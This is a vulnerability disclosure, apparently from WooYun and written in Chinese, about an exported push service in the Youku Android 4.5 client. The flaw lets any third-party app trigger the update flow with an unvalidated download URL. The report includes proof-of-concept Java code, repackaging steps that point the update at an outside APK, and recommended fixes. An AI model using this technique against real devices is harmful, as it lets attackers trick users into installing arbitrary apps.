优酷Android 4.5客户端升级漏洞
MindMac @WooYun
简要描述
优酷Android 4.5客户端组件暴露导致第三方应用可以触发其升级过程,同时可以指定升级下载的URL地址,可导致任意应用安装!详细说明
组件com.youku.service.push.StartActivityService声明如下:
<service
android:label="Youku Push Notifications StartActivityService"
android:name="com.youku.service.push.StartActivityService"
android:exported="true"
>
可知该组件对外暴露。
该组件对应的代码执行部分如下:
protected void onHandleIntent(Intent intent) {
Intent v0;
String v23;
Serializable pushMsg = intent.getSerializableExtra("PushMsg");
......
AppVersionManager.getInstance(Youku.context).showAppAgreementDialog();
switch(pushMsg.type) {
case 1: {
goto label_53;
}
......
}
......
label_53:
intent.setFlags(876609536);
intent.setClass(this, UpdateActivity.class);
intent.putExtra("updateurl", pushMsg.updateurl);
intent.putExtra("updateversion", pushMsg.updateversion);
intent.putExtra("updatecontent", pushMsg.updatecontent);
intent.putExtra("updateType", 2);
this.startActivity(intent);
return;
......
该组件从Intent从获取名为PushMsg的Serializable的数据,并根据其成员type来执行不同的流程,当type值为1时,执行App的升级操作。升级所需的相关数据如app的下载地址等也是从该序列化数据中获取。升级的具体流程在com.youku.ui.activity.UpdateActivity中,简单分析后发现升级过程未对下载地址等进行判断,因此可以任意指定该地址。
漏洞证明
该漏洞触发的关键在于对PushMsg数据的控制,基本思路如下:1.创建一个Android App程序,在主Activity中的关键代码如下:
PushMsg pushMsg = new PushMsg();
pushMsg.type = 1;
pushMsg.updateurl = "http://gdown.baidu.com/data/wisegame/41839d1d510870f4/jiecaojingxuan_51.apk";
pushMsg.updatecontent = "This is Fake";
Intent intent = new Intent();
intent.setClassName("com.youku.phone","com.youku.service.push.StartActivityService");
intent.putExtra("PushMsg", pushMsg);
startService(intent);
其中PushMsg类不需要完整实现,只需要编译通过即可;
2.反编译优酷客户端c中提取出PushMsg.smali;
3.反编译上述创建的APK文件,将原PushMsg类的smali文件替换为优酷中的PushMsg.smali文件,重新打包签名;
4.安装并运行重打包后的APK,会看到优酷的升级页面触发,如果设计的好的话,是可以诱导用户安装攻击者指定的APK文件的。
修复方案
组件不暴露、对升级地址进行判断、对下载的APK文件进行校验!